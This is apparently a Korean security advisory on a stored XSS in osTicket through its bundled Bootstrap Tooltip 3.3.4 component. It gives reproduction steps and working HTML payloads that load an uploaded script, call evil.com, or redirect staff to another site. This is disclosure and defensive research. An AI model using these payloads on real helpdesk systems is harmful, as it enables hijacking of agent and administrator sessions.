
osTicket에서 취약한 Bootstrap 툴팁 구성 요소를 통한 저장형 크로스 사이트 스크립팅 (XSS)
Enhancesoft osTicket 버전 1.10부터 1.17.7, 1.18.0부터 1.18.3에는 취약한 Bootstrap Tooltip 3.3.4 구성요소(CVE-2019-8331)가 포함되어 있어 저장형 교차 사이트 스크립팅(XSS) 취약점이 발생합니다. 기본 osTicket 구성에서 티켓 제출자("사용자")는 사전 인증 없이 티켓을 제출할 수 있으며, 사용자 자체 등록도 기본적으로 활성화되어 있습니다. 원격 사용자는 htmlLawed HTML 정화 모듈을 통과함에도 불구하고, 이를 보는 모든 에이전트 또는 관리자의 브라우저에서 임의의 JavaScript가 실행되는 악성 티켓 메시지를 조작할 수 있습니다. 이 문제는 사용자가 업로드한 JavaScript 파일이 실행 가능한 JavaScript Content-Type(text/javascript)으로 제공되어 브라우저에서 활성 콘텐츠로 해석될 수 있다는 점으로 인해 더욱 심각해집니다. 인라인 페이로드는 Bootstrap Tooltip 3.3.4가 data-template 값을 jQuery 객체로 파싱하여 appendTo() 또는 insertAfter()를 통해 DOM에 삽입하는 방식에 의해 제한되지만, 외부 스크립트로 공격자 제어 코드를 실행하면 이러한 제한을 우회하여 취약점을 더 강력하게 악용할 수 있습니다.
테스트 및 취약 확인 완료:
영향을 받는 버전:
이 구성요소는 2015년 5월 13일부터 osTicket 코드베이스에 포함되어 있으며, 다음에서 확인할 수 있습니다:
scp/js/bootstrap-tooltip.jse5a28410ae7c238932eef07c2b3568da015a792c이 커밋은 버전 1.10으로 거슬러 올라가는 osTicket 릴리스 태그와 연결되어 있으며, 취약한 Bootstrap Tooltip 구성요소가 여러 주요 버전에 걸쳐 광범위한 osTicket 릴리스에 포함되었음을 나타냅니다. 이러한 장기적 포함은 수년에 걸쳐 출시된 많은 osTicket 버전이 영향을 받을 가능성이 높음을 강력히 시사합니다.
osTicket은 널리 사용되는 오픈 소스 티켓팅 시스템으로, 최종 사용자가 풍부한 HTML 콘텐츠와 파일 첨부 파일을 티켓 생성 및 응답의 일부로 제출할 수 있도록 합니다.
osTicket은 세 가지 주요 사용자 범주를 정의합니다:
사용자가 제출한 모든 HTML 콘텐츠는 나중에 에이전트 또는 관리자의 브라우저에서 렌더링될 수 있으므로 클라이언트 측 취약점이 특히 큰 영향을 미칩니다.
먼저, 엔드 유저 계정으로 인증하여 티켓 생성 페이지로 이동합니다. 그런 다음 페이로드가 포함된 JavaScript 파일(예: test.js)을 생성합니다. 예를 들어:
alert(123);
참고: 기본적으로 osTicket은 파일 유형 제한 없이 티켓 첨부 파일을 허용합니다.

그런 다음 "이슈 세부사항" 을 제공하지 않고 "티켓 생성" 을 클릭하여 티켓을 제출합니다.
애플리케이션이 "이슈 세부사항은 필수 입력 항목입니다" 오류와 함께 티켓 제출 양식으로 리디렉션됩니다.
이 페이지에서는 실제로 티켓을 제출하지 않고도 JavaScript 파일(test.js)의 다운로드 링크를 얻을 수 있습니다.


이 링크를 획득한 후 티켓 제출 양식으로 돌아갑니다.
HTML 편집기를 클릭하고 다음 페이로드를 붙여넣고, script 태그의 src 속성을 앞서 얻은 링크로 교체합니다.
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_HERE]'>"></div>
<input>
다음은 [LINK_HERE] 패턴을 앞서 얻은 링크로 교체한 전체 페이로드의 예시입니다:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>
그런 다음 티켓을 제출합니다.

관리자 또는 에이전트가 악성 티켓을 열람하면 페이로드가 트리거됩니다.

결과: 관리자/에이전트가 악성 티켓을 열면 JavaScript 페이로드가 로드되어 관리자/에이전트 세션 컨텍스트에서 실행됩니다.
이는 저장형 XSS로 이어져 (예: ezXSS, CSRF를 통한 관리자/에이전트 작업 수행) 전체 세션을 손상시킬 수 있습니다.
악성 티켓이 에이전트에 의해 열람되면 저장형 XSS가 에이전트의 인증된 세션 컨텍스트에서 실행됩니다.
이로 인해 공격자는 (세션 쿠키 추출이 실용적이지 않고 ezXSS와 같은 블라인드 XSS 플랫폼이 사용되는 시나리오에서도) 세션 쿠키를 추출하지 않고도 에이전트 세션을 효과적으로 장악할 수 있습니다. XSS가 실행되면 공격자는 손상된 에이전트가 수행할 수 있는 모든 작업을 수행할 수 있습니다. 예를 들어:
이로 인해 에이전트의 운영 능력과 티켓팅 워크플로의 기밀성/무결성이 완전히 손상됩니다.
악성 티켓이 관리자에 의해 열람되면 영향이 전체 애플리케이션 손상으로 확대됩니다. 공격자는 다음을 수행할 수 있습니다:
osTicket의 기본 구성은 JavaScript 파일 업로드를 허용하지만, 관리자 패널에서 최종 사용자가 JavaScript 파일을 업로드하지 못하도록 구성할 수 있습니다.
또한, 에이전트와 관리자가 사용하는 직원 제어판(Staff Control Panel)은 타사 도메인에서 시작된 JavaScript 실행을 차단하는 콘텐츠 보안 정책(CSP)을 시행합니다. 다음 페이로드를 예로 들어 보겠습니다:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>
아래 스크린샷은 https://evil.com에서 스크립트를 로드하는 것이 직원 제어판에서 시행되는 콘텐츠 보안 정책에 의해 차단된 것을 보여줍니다.

그러나 애플리케이션에 구현된 콘텐츠 보안 정책은 인라인 JavaScript를 허용합니다.

JavaScript 파일 업로드가 차단된 경우에도 공격자는 악성 작업을 수행할 수 있습니다. 다음 페이로드를 고려해 보겠습니다:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>
Base64 페이로드는 다음으로 디코딩됩니다:
<script>top.location = "https://example.com";</script>
이 페이로드를 통해 공격자는 악성 티켓을 보는 에이전트 또는 관리자를 임의의 웹사이트 (예: 피싱 사이트)로 리디렉션할 수 있습니다.
위 페이로드가 포함된 티켓을 본 결과는 다음과 같습니다.
